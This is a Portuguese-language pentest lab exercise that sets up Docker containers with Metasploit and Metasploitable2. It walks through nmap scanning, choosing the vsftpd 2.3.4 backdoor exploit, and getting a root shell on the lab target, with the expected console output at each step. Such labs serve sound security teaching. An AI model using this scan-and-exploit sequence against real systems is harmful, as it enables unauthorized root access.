✍️Atividade Prática 01

Pentest na Prática em Ambiente Controlado (Docker): Lab 01

Nesta atividade montaremos um cenário em ambiente controlado (Docker) com duas máquinas, sendo uma delas denominada 'atacante' pré-configurada com o Framework Metasploit e a outra denominada 'alvo' construída a partir da distribuição de testes Metaslplotable2.

Como o 'docker' e o plugin 'docker-compose' devidamente instalados e funcionais, execute os passos a seguir para realizar a atividade:

1) Crie um diretório para o projeto e, em seguida, baixe o arquivo docker-compose.yml contendo o nome das imagens docker que serão utilizadas e as configurações adequadas para a prática:

mkdir pentest_lab1
cd pentest_lab1
wget https://raw.githubusercontent.com/ricardokleber/dockers/refs/heads/main/pentest_lab1/docker-compose.yml

Opcionalmente, ao invés de baixar o arquivo, você pode criar o arquivo docker-compose.yml com o conteúdo a seguir:

services:
  atacante:
    image: ricardokleber/metasploit-framework:latest
    container_name: atacante
    networks:
      my-network:
        ipv4_address: 192.168.200.100
    tty: true
    stdin_open: true

  alvo:
    image: ricardokleber/metasploitable2:latest
    container_name: alvo
    networks:
      my-network:
        ipv4_address: 192.168.200.200
    tty: true
    stdin_open: true

networks:
  my-network:
    ipam:
      config:
        - subnet: 192.168.200.0/24

2) Execute o docker compose para baixar as imagens e iniciar os dockers:

docker-compose up -d

Após o download das imagens, inicialização dos contêiners e configuração, o ambiente estará pronto para prática!!!

3) Acesse o contêiner atacante:

docker exec -it atacante /bin/bash

4) Verifique se o contêiner 'atacante' está acessando o contêiner 'alvo':

ping 192.168.200.200

5) Entre no ambiente Metasploit-Framework através da interface no modo console:

./msfconsole

A cada execução do MSF no modo console um banner diferente será exibido em ASCII ART (isso é só estético). O console indicará que você está no ambiente pronto para executar os comandos a partir de um prompt '>'.

6) Faça um Portscan no contêiner 'alvo' utilizando o NMAP embutido no MSF:

nmap 192.168.200.200
Resultado esperado
[*] exec: nmap 192.168.200.200

Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-02 18:45 UTC
Nmap scan report for alvo.pentest_lab1_my-network (192.168.200.200)
Host is up (0.000011s latency).
Not shown: 981 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 02:42:C0:A8:C8:C8 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

7) Execute o nmap específico para a porta 21/TCP com o parâmetro -sV para tentar identificar detalhes sobre o servidor FTP alvo:

nmap -sT -p 21 192.168.200.200 -sV
Resultado esperado
[*] exec: nmap -sT -p 21 192.168.200.200 -sV

Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-02 18:48 UTC
Nmap scan report for alvo.pentest_lab1_my-network (192.168.200.200)
Host is up (0.000038s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 02:42:C0:A8:C8:C8 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds

8) Faça uma busca no MSF por um exploit para o serviço escolhido (vsftp)

search vsftpd
Resultado Esperado
Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

9) Selecione o exploit indicado na busca como 'excelent:

use exploit/unix/ftp/vsftpd_234_backdoor
Resultado esperado
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

10) Exiba as opções de configuraçãodo exploit:

show options
Resultado esperado
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:hos
                                       t:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.
                                       com/docs/using-metasploit/basics/using-metasploi
                                       t.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

11) Só é necessário configurar o 'Remote Host' (Alvo) RHOSTS:

set RHOSTS 192.168.200.200

12) Finalmente, execute o exploit!!!

run
Aguarde a execução do exploit e se o ataque teve sucesso o resultado será como a seguir:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.200.200:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.200.200:21 - USER: 331 Please specify the password.
[+] 192.168.200.200:21 - Backdoor service has been spawned, handling...
[+] 192.168.200.200:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.200.100:34997 -> 192.168.200.200:6200) at 2025-03-02 18:58:09 +0000

Os comandos digitados nessa "shell reversa" estaráo agora sendo executados (com permissão de superusuário root) na máquina alvo!!!

13) Execute comandos na máquina-alvo para comprovar que o ataque foi bem sucedido

whoami
Resultado esperado
whoami
root
hostname
Resultado esperado
hostname
cf83cc98e34d <=== Nome do contêiner alvo
ifconfig
Resultado esperado
ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:c0:a8:c8:c8  
          inet addr:192.168.200.200  Bcast:192.168.200.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1150 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1098 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:72723 (71.0 KB)  TX bytes:65274 (63.7 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:130 errors:0 dropped:0 overruns:0 frame:0
          TX packets:130 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:55395 (54.0 KB)  TX bytes:55395 (54.0 KB)

Você realizou (com sucesso) um ataque contra um servidor com uma versão vulnerável do servidor FTP vsftpd (versão 2.3.4) e usando um exploit do MSF explorou a vulnerabilidade para acessar a máquina como superusuário root.

Atualizado